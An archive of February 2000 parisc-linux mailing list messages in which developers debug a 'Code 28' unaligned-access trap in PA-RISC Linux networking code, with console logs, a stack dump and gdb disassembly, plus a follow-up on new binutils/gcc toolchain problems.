eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 11 20079a01.
eth1: In tulip_rx(), entry 11 019a0720.
eth1: In tulip_rx(), entry 12 00400720.
eth1: In tulip_rx(), entry 13 02320320.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 14 00000080.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 14 20079a01.
eth1: In tulip_rx(), entry 14 019a0720.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 15 20079a01.
eth1: In tulip_rx(), entry 15 019a0720.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
.<7>eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 16 20079a01.
eth1: In tulip_rx(), entry 16 019a0720.
eth1: In tulip_rx(), entry 17 00400720.
eth1: interrupt  csr5=0xf0670040 new csr5=0xf0660000.
 In tulip_rx(), entry 18 00000080.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.
eth1: interrupt  csr5=0xf0660000 new csr5=0xf0660000.
eth1: exiting interrupt, csr5=0xf0660000.

Dumping Stack from c7fbc000 to c7fbcb80:
c000 00000000 00000140 00000000 00000000 c02fe1f8 00000001 00000000 ffffffff
c020 00000000 00000014 00000000 00000000 c02156ec 00000000 00000000 c02fc028
c040 c7fa403c c7fa4000 c0218000 00000000 00000000 00000000 00000000 00000000
c060 00000000 00000000 00000001 00000000 00000000 00000000 00000000 c0218000
c080 c0218000 c7fa0000 00000000 00000000 00000000 c036fc24 c7fbc098 c7fbc098
c0a0 c7fbc0a0 c0149c8c c7fbc648 00000000 00000000 00000000 00000000 00000000
c0c0 00000000 00000000 00000000 00000000 00000000 c7fbc000 c014f100 00000000
c0e0 000000b3 00000000 00000000 00000023 00000000 000000d6 00000000 00000000
c100 00000000 00000000 00000000 00000000 80000000 00000000 00000000 00000000
c120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c1a0 00000000 00000000 00000000 00000000 00000000 00000000 fffffeff fffffeff
c1c0 ffffffff 00000000 ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff
c1e0 00800000 ffffffff 00000000 ffffffff ffffffff ffffffff 00000800 00000800
c200 00000400 00000400 ffffffff ffffffff ffffffff ffffffff 00007377 61707065
c220 72000000 00000000 00000000 00000000 00000000 00000000 00000000 c1320f24
c240 f0400004 00000000 ffffffff 00000000 c7ffecc0 c0102f1c f0071898 c7ff0000
c260 c7ff8000 c014b4d0 c014b508 c02ff800 c1320f24 00000000 f0400004 00000000
c280 0004000a 0000003c 0000003e 0000000b c02fe000 00000001 c0313677 c0313677
c2a0 00000000 c012e438 00000023 00000000 0000003c 00000024 c02fe250 f00008c4
c2c0 f000017c f0000174 000000ff 002185c0 0000000d c02f3000 c00003a8 c0313677
c2e0 00000003 00000000 c0214000 00000000 c7fbc3c0 c0136438 c014b4d0 00000000
c300 00000000 00000000 0021c000 c021503c c021504c c02151e8 00000000 00000000
c320 00000000 00000000 00000000 c7fbc328 00000000 00000000 00000000 00000000
c340 00000001 00000000 c7fbc348 c7fbc348 c7fbc350 c0149c8c c7fbc358 00000000
c360 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c3a0 00000000 00000000 00000000 c0136448 00000000 00000000 00000000 00000000
c3c0 f0071898 c7ff0000 c7fbc000 00000000 c02156ec c0218000 c0218500 00000000
c3e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c420 00000000 00000000 00000000 c012e45c 00000000 00000000 00000000 00000000
c440 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c460 00000000 00000000 00000000 c012e3fc 00000000 00000000 00000000 00000000
c480 c0218000 c0218500 00000000 00000000 c00003a8 c02fe244 c02fe244 c0122e9c
c4a0 00000000 00000000 00000000 c017f8ac 00000000 00000000 00000000 00000000
c4c0 c0218500 00000000 00000000 c01cc288 f0000a20 c012eecc f0071898 c7ff0000
c4e0 c7fbc000 00000000 c01c9ee0 c01a9258 c0218500 00000000 00000000 00000000
c500 f0071898 c7ff0000 c7fbc000 00000000 c02156ec c0218000 c0218500 c030f0d8
c520 c7ff0000 c7fbc000 00000000 c01ba0f4 c0218000 c0218500 00000000 00000000
c540 c0218000 c0218500 c02156ec c0218000 c0218500 c7ffec20 c0125858 c0128858
c560 c031368e 00000000 c01d006c c01d019c 00000064 0000003c 0000003b c02fe250
c580 c01ceb88 c030b408 c0123fa0 00363000 ffffffff c7ffec20 c036c000 c01ceb88
c5a0 c0363000 c0218500 ffffffff c01facf4 c036c000 c030bb08 00000000 c014b4d0
c5c0 f0400004 00000000 00000249 00000000 c012eecc c02fe000 c01cdbc8 00000001
c5e0 ffffffff c030bc08 c036c000 c01ceb88 c01ceb88 00000001 c0369af0 c0369978
c600 c01ceb88 00008124 03381011 00090057 00000001 00000000 fee08008 c01298f8
c620 00000000 f0000a20 c012eecc c01fab90 159f9abb 461eda97 ffffffff c030bc08
c640 f0400004 00000000 ffffffff 00000000 f0000a20 c0129800 c030e800 000000cc
c660 c030e800 00000001 c030e800 0000000a c02fe800 00000000 c7fbc658 c7fbc658
c680 00000001 c030e800 00000000 c7f3b480 ffffffff ffffffff c01298f9 00000000
c6a0 00000000 00000000 c014b4d0 c014b4d0 00000000 00000000 00000000 00000000
c6c0 0004000b 0004000a c014b4d0 00000000 00000001 00000004 c0313653 c0313655
c6e0 c0313654 00000000 c02fe000 0000000b 0000003e 0000003c 00000001 c02fe250
c700 f00008c4 f000017c f0000174 00000004 07fbc740 00003037 c02f3000 c00003a8
c720 c0313655 00000003 00000000 c0214000 00000000 c0310d00 c7fbc800 c014b4d0
c740 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c760 00000000 00000000 c014b4f8 c014b4fc 00000000 00000000 00000000 0000001f
c780 2b75c000 c7fed000 c036c000 c7f2b000 00000000 00000000 00000000 00000000
c7a0 00000000 00000000 00000000 c01c2378 00000000 00000000 00000000 00000000
c7c0 00012102 f000017c f00008c4 f0400004 00000000 ffffffff 00000000 c010f000
c7e0 c010f000 00000000 c0132208 c01374f8 a5c32800 0000000b c7fff2e8 c7fff2e0
c800 c02fe000 00000000 c0313654 c0313655 c0313653 00000004 00000001 00000000
c820 000000cc c030e800 c0129800 f0000a20 00000000 ffffffff 00000000 f0400004
c840 f00008c4 f000017c f0000174 00000001 00002cc0 00002d00 000000b4 00000001
c860 00000800 00000040 00000000 c012fc10 c7f16900 000000ff c7fbc940 c0205278
c880 00000002 c02f3348 20200000 20000000 00000002 00000102 00000000 00000000
c8a0 00000000 00000000 c012e794 c012e7d4 00000000 0aa92bcd 61202862 0000001f
c8c0 08000240 c6cc0274 b154768d ecee93d5 07d7f11b 8a4c0bc5 b839eca1 821a6616
c8e0 f8aa9072 78e5d0b8 c012faf4 c012fb2c beb24cca 63ace72f 90ae05ac ac07cd1e
c900 c02fe000 c02fe000 00000000 8b00f47c fe5c509e a4b0d0f7 7ed2ded4 36a2a674
c920 fcb21c1f 513e095b c014fe50 c014fe50 5b422e53 00000010 ffffffff 00000000
c940 c02fe250 00000001 0000003c 0000003e 0000000b c7fbc6c0 c02f3324 00000102
c960 c7fbc6c0 c036b000 c036c000 c0370dd4 00000001 c02f3324 00000102 c7fbc6c0
c980 0000000b c7fbc6c0 c02f3324 00000102 c7fbc6c0 c036b000 c036c000 c0370db8
c9a0 00000000 fed30840 c01ce708 c01ce708 0000002d c02fe23c c7fbca80 c014b4d0
c9c0 c0369800 00000800 c030ebb4 c7fa9474 c7fa9400 c030d55c c0369800 c0369800
c9e0 00000806 c030db14 c7f17074 c01cbee4 00000000 00000000 00000000 00000002
ca00 00000800 c030ebb4 c7fa9474 c7fa9400 c030d55c f0660000 c7fed900 c0121994
ca20 00000000 00000000 c012faf4 c01f13c8 00000039 00000000 00000000 00000000
ca40 0006ff0b c030e800 c01ce708 c030e800 c7f7e82e c7fb2800 c030ebb4 c7f17000
ca60 c0369800 c0369800 c02fe800 c030f000 000000d6 c0369c6c c0123800 c0369cac
ca80 c7fbc6c0 f000017c f0000174 0000001b 0000010a 00000000 c01fa7e0 00000000
caa0 c030ebb4 c7fb2800 c7f17000 c0214000 c7f17000 00000007 c7fbcb80 c01ce708
cac0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
cae0 00000000 00000000 c01fa82c c01fa830 00000000 c0123800 c0369c6c 00000012
cb00 48990000 00000000 c7f7e82e c7fed800 c7fed800 c7f2aac0 00000000 00000000
cb20 ffffffff ffffffff c014b4d0 c012e7d4 c7fbc800 c02f3324 00000301 00000000
cb40 00000002 0030f580 00000000 0030f4f8 0000000a c02fe000 00000001 c0313679
cb60 c0313679 c0313656 c012faf4 c01376b8 c0313653 c0393800 00000102 c7fbc8c0

Unexpected Interruption!: Code=28 regs=c7fbca40 (Addr=00000000)

PSW  : 0006ff0b  GR 1 : c030e800  GR 2 : c01ce708  GR 3 : c030e800  
GR 4 : c7f7e82e  GR 5 : c7fb2800  GR 6 : c030ebb4  GR 7 : c7f17000  
GR 8 : c0369800  GR 9 : c0369800  GR10 : c02fe800  GR11 : c030f000  
GR12 : 000000d6  GR13 : c0369c6c  GR14 : c0123800  GR15 : c0369cac  
GR16 : c7fbc6c0  GR17 : f000017c  GR18 : f0000174  GR19 : 0000001b  
GR20 : 0000010a  GR21 : 00000000  GR22 : c01fa7e0  GR23 : 00000000  
GR24 : c030ebb4  GR25 : c7fb2800  GR26 : c7f17000  GR27 : c0214000  
GR28 : c7f17000  GR29 : 00000007  GR30 : c7fbcb80  GR31 : c01ce708  
SR0  : 00000000  SR1  : 00000000  SR2  : 00000000  SR3  : 00000000  
SR4  : 00000000  SR5  : 00000000  SR6  : 00000000  SR7  : 00000000  

IASQ : 00000000 00000000 IAOQ : c01fa82c c01fa830
 IIR : 48990000 ISR : 00000000 IOR : c7f7e82e





Some gdb output
---------------
Dump of assembler code for function ic_bootp_recv:
0xc01fa7e0 <ic_bootp_recv>:     stw rp,-14(sr0,sp)
0xc01fa7e4 <ic_bootp_recv+4>:   addil fa800,dp
0xc01fa7e8 <ic_bootp_recv+8>:   stwm r8,80(sr0,sp)
0xc01fa7ec <ic_bootp_recv+12>:  stw r7,-7c(sr0,sp)
0xc01fa7f0 <ic_bootp_recv+16>:  copy r26,r7
0xc01fa7f4 <ic_bootp_recv+20>:  stw r5,-74(sr0,sp)
0xc01fa7f8 <ic_bootp_recv+24>:  copy r25,r5
0xc01fa7fc <ic_bootp_recv+28>:  stw r3,-6c(sr0,sp)
0xc01fa800 <ic_bootp_recv+32>:  copy r1,r3
0xc01fa804 <ic_bootp_recv+36>:  stw r6,-78(sr0,sp)
0xc01fa808 <ic_bootp_recv+40>:  stw r4,-70(sr0,sp)
0xc01fa80c <ic_bootp_recv+44>:  ldw 3a4(sr0,r3),r19
0xc01fa810 <ic_bootp_recv+48>:  comibf,= 0,r19,0xc01fa9a4 <ic_bootp_recv+452>
0xc01fa814 <ic_bootp_recv+52>:  ldw 24(sr0,r7),r4
0xc01fa818 <ic_bootp_recv+56>:  ldb 6b(sr0,r7),r19
0xc01fa81c <ic_bootp_recv+60>:  comib,=,n 3,r19,0xc01fa9a4 <ic_bootp_recv+452>
0xc01fa820 <ic_bootp_recv+64>:  ldw 60(sr0,r7),r20
0xc01fa824 <ic_bootp_recv+68>:  ldi 1b,r19
0xc01fa828 <ic_bootp_recv+72>:  
    combf,<<,n r19,r20,0xc01fa9a4 <ic_bootp_recv+452>
0xc01fa82c <ic_bootp_recv+76>:  ldw 0(sr0,r4),r25
0xc01fa830 <ic_bootp_recv+80>:  ldil 45000000,r20
...

gr4 = c7f7e82e
gr2 = c01ce708 which is net_bh+576


From - Thu Nov 08 21:11:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 trap
Date: Thu, 24 Feb 2000 22:49:34 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <20000224224934.N9944@thepuffingroup.com>
References: <200002250259.SAA04374@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618785 30601 80.91.229.3 (22 Nov 2014 01:13:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Thu Feb 24 21:50:54 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA28650
	for <parisc-linux@puffin.external.hp.com>; Thu, 24 Feb 2000 21:50:54 -0700
Original-Received: (qmail 9300 invoked by uid 15267); 25 Feb 2000 03:51:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9293 invoked from network); 25 Feb 2000 03:51:46 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 03:51:46 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id WAA09102;
	Thu, 24 Feb 2000 22:49:34 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200002250259.SAA04374@milano.cup.hp.com>; from Grant Grundler on Thu, Feb 24, 2000 at 06:59:49PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:6876

On Thu, Feb 24, 2000 at 06:59:49PM -0800, Grant Grundler wrote:
> 
> Hi folks,
> I'm getting a "Code 28" interrupt on my c3000.
> I've appended the full console output. 
> 
> IOAQ points to ip_rcv+156.
> GR02 points to net_bh+620
> 
> 0xc01ca024 <ip_rcv+156>:        ldw 0(sr0,r4),r25
> 
> and GR4 == c7e8702e.
> GR4 is aligned on 2byte, not 4 byte which the ldw wants.
> 
> I've reproduced the problem in another chunk of code:
> 0xc01fa82c <ic_bootp_recv+76>:  ldw 0(sr0,r4),r25
> 
> In this case: gr4 == c7f7e82e and gr2 == c01ce708 (net_bh+576)

Uh oh.  We really need a kernel unaligned trap handler.  Some of
the network protocols rely on that being handled right (yes, i know.
it sucks.)  I was about to say `I really don't think this applies to
IP or BOOTP/IP', when I remembered...

http://boudicca.tux.org/hypermail/linux-kernel/2000week06/0092.html

There was a bug in 2.3.41, looks like it didn't get fixed in .42, that
caused things to get unaligned once in a while.  Doh!  Anyone want to
volunteer to write an unaligned trap handler...?


From - Thu Nov 08 21:11:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "HOLBROOK,SCOTT \(HP-FtCollins,ex1\)" <scott_holbrook@am.exch.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] code 28 trap
Date: Fri, 25 Feb 2000 12:17:51 -0800
Lines: 53
Approved: news@gmane.org
Message-ID: <E97137CF9A25D311902E00A0C9F484E0027985F3@xfc03.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618786 30604 80.91.229.3 (22 Nov 2014 01:13:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:06 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "'willy@thepuffingroup.com'" <willy@thepuffingroup.com>,
        "'Grant Grundler'" <grundler@cup.hp.com>
Original-X-From: scott_holbrook@am.exch.hp.com  Fri Feb 25 14:17:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA01312
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 14:17:16 -0700
Original-Received: (qmail 7971 invoked by uid 15267); 25 Feb 2000 20:17:55 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7960 invoked from network); 25 Feb 2000 20:17:55 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 20:17:55 -0000
Original-Received: from xrosebh3.rsvl.itc.hp.com (xrosebh3.rsvl.itc.hp.com [15.34.240.67])
	by palrel1.hp.com (Postfix) with ESMTP
	id AA5AAD2; Fri, 25 Feb 2000 12:17:54 -0800 (PST)
Original-Received: by xrosebh3.rsvl.itc.hp.com with Internet Mail Service (5.5.2650.21)
	id <179SCNQK>; Fri, 25 Feb 2000 12:17:54 -0800
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:6877

Willy wrote:

> Uh oh.  We really need a kernel unaligned trap handler.  Some of
> the network protocols rely on that being handled right (yes, I know.
> it sucks.)  I was about to say `I really don't think this applies to
> IP or BOOTP/IP', when I remembered...
> 
> http://boudicca.tux.org/hypermail/linux-kernel/2000week06/0092.html
> 
> There was a bug in 2.3.41, looks like it didn't get fixed in .42, that
> caused things to get unaligned once in a while.  Doh!  Anyone want to
> volunteer to write an unaligned trap handler...?

Years ago I wrote an unaligned load/store emulator (trap handler) for a
port of an evil OS to PA-RISC.  I still have the code -- it would take
a little bit of work to massage it into a real low-level trap handler,
but that task should be very straight-forward.

The code handles both integer and FP loads/stores.  It was written before
the 2.0 architecture, so it definitely needs a little work to recognize and
emulate some of the new 2.0 opcodes (like 64-bit loads/stores, etc).  It
also expects the registers to be saved in a format that is, I'm sure, a
bit different from the Linux save state.  The code is designed to run
in virtual mode, so the "trap 28" handler would have to save all registers,
turn the Q-bit back on and then call the emulation code.  This is somewhat
expensive, but doing it more efficiently is much more complicated (near to
impossible on MP systems).  The problem with doing the emulation directly
in the trap handler (with the Q-bit off) is that its possible for your loads
or stores to cause another page fault (especially if they cross a page
boundary).
PA-RISC doesn't allow "nested" traps.  MP issues make things worse (TLB
entries
can disappear out from under you, etc).

However, emulating unaligned loads/stores is generally NOT a good idea.  The
problem is that there is no way to do the unaligned load/store atomically.
This, of course, can cause big problems in an MP environment depending on
what the code is trying to do.  Its possible to fix the atomicity issue, as
long as all accesses to the data will be unaligned (so that they all have to
go through the trap handler), but this may be overkill.  What have other
architectures (like Alpha) done?

For this networking problem, MP atomicity is probably not an issue.
However,
we should really drive to have the problem fixed.

I'm a little short on time right now, but I'd be glad to give what I've got
to
someone and provide some consulting on how it works/how it needs to be
changed.

Scott Holbrook / rsh@fc.hp.com


From - Thu Nov 08 21:11:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "HOLBROOK,SCOTT \(HP-FtCollins,ex1\)" <scott_holbrook@am.exch.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] code 28 trap
Date: Fri, 25 Feb 2000 13:23:51 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <E97137CF9A25D311902E00A0C9F484E0027985F4@xfc03.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416618786 30608 80.91.229.3 (22 Nov 2014 01:13:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:06 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "'willy@thepuffingroup.com'" <willy@thepuffingroup.com>
Original-X-From: scott_holbrook@am.exch.hp.com  Fri Feb 25 14:23:05 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA01543
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 14:23:05 -0700
Original-Received: (qmail 12691 invoked by uid 15267); 25 Feb 2000 20:23:54 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12677 invoked from network); 25 Feb 2000 20:23:54 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 20:23:54 -0000
Original-Received: from xboibrg2.boi.hp.com (xboibrg2.boi.hp.com [15.56.8.172])
	by palrel3.hp.com (Postfix) with ESMTP
	id 4C282DF3; Fri, 25 Feb 2000 12:23:53 -0800 (PST)
Original-Received: by xboibrg2.boi.hp.com with Internet Mail Service (5.5.2650.21)
	id <FJD87W93>; Fri, 25 Feb 2000 13:23:53 -0700
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:6878

I just realized something:

> Years ago I wrote an unaligned load/store emulator (trap handler) for
> a port of an evil OS to PA-RISC.  I still have the code -- it would take
> a little bit of work to massage it into a real low-level trap handler,
> but that task should be very straight-forward.

The code I have is for PA-RISC running in little-endian mode.  There would
be some additional work to make it bit-endian.

Do you just love endian issues?

Scott Holbrook / rsh@fc.hp.com


From - Thu Nov 08 21:11:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] code 28 trap
Date: Fri, 25 Feb 2000 12:36:27 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <200002252036.MAA04792@milano.cup.hp.com>
References: <20000224224934.N9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618786 30611 80.91.229.3 (22 Nov 2014 01:13:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri Feb 25 14:34:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA01670
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 14:34:22 -0700
Original-Received: (qmail 20099 invoked by uid 15267); 25 Feb 2000 20:35:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20085 invoked from network); 25 Feb 2000 20:35:14 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 20:35:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id CA4DB9E2; Fri, 25 Feb 2000 12:35:10 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id MAA04792; Fri, 25 Feb 2000 12:36:31 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 24 Feb 2000 22:49:34 PST."
             <20000224224934.N9944@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6879

willy@thepuffingroup.com wrote:

> Uh oh.  We really need a kernel unaligned trap handler.  Some of
> the network protocols rely on that being handled right (yes, i know.
> it sucks.)

It really sucks. If any code in the performance path depends on this,
we can forget competing with HP-UX. Misaligned references should be
flagged with "BUG()" or logged we know it's happening.

Thanks for pointing out the problem.
As long as this exists, it seems I can't "boot" on my c3k.

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Hibler <mike@fast.cs.utah.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] code 28 trap
Date: Fri, 25 Feb 2000 13:42:31 -0700 (MST)
Lines: 3
Approved: news@gmane.org
Message-ID: <200002252042.NAA02904@fast.cs.utah.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618787 30615 80.91.229.3 (22 Nov 2014 01:13:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com, scott_holbrook@am.exch.hp.com,
        willy@thepuffingroup.com
Original-X-From: mike@fast.cs.utah.edu  Fri Feb 25 14:44:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA01832
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 14:44:11 -0700
Original-Received: (qmail 26724 invoked by uid 15267); 25 Feb 2000 20:45:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26706 invoked from network); 25 Feb 2000 20:45:03 -0000
Original-Received: from fast.cs.utah.edu (155.99.212.1)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 20:45:03 -0000
Original-Received: (from mike@localhost)
	by fast.cs.utah.edu (8.9.1/8.9.1) id NAA02904;
	Fri, 25 Feb 2000 13:42:31 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:6880

There is also code in the Mach port (mk/kernel/parisc/alignment.c)
Not sure how complete, we only used it for OSF/1 binary compatibility.


From - Thu Nov 08 21:11:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@endor.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new binutils/gcc
Date: Fri, 25 Feb 2000 14:12:17 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <E12OS25-0007l6-00@endor.fc.hp.com>
References: <20000215030946.V9944@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618787 30620 80.91.229.3 (22 Nov 2014 01:13:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:13:07 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: bame@endor.fc.hp.com  Fri Feb 25 15:11:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA02106
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Feb 2000 15:11:29 -0700
Original-Received: (qmail 12908 invoked by uid 15267); 25 Feb 2000 21:12:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12888 invoked from network); 25 Feb 2000 21:12:22 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 25 Feb 2000 21:12:22 -0000
Original-Received: from endor.fc.hp.com (endor.fc.hp.com [15.1.49.59])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 448E5E677; Fri, 25 Feb 2000 16:12:18 -0500 (EST)
Original-Received: from localhost (endor.fc.hp.com) [127.0.0.1] (bame)
	by endor.fc.hp.com with esmtp (Exim 2.05 #1 (Debian))
	id 12OS25-0007l6-00; Fri, 25 Feb 2000 14:12:17 -0700
In-reply-to: Your message of "Tue, 15 Feb 2000 03:09:46 EST."
             <20000215030946.V9944@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6881


Willy, Sammy,

I've been trying the elf stuff plus Sammy's patches, updated to work
from the current CVS bits.  Here's what I've found so far:

1) this compiler seems to allocate the rp and ret1 registers first
which makes debugging from register dumps worse -- no glancing at r2
to figure out who called ya.

2) I'm seeing death in an infinite loop in flush_instruction_tlb and
it looks as though it's because cache_info has not been initialized yet.

3) We get to start_parisc() but no C procedure calls work from there --
even a local call is failing.  The local call, to address c0114dd4,
generates the following branch:

    c020cbcc:       e5 00 29 38     be,l 49c(sr4,r8)

r8 = 0xc0000000 and sr4 = 0 so I think this branches to a very
bad place.  Another branch to pdc_console_init() generates

    c020cbec:       e5 00 31 30     be,l 898(sr4,r8)

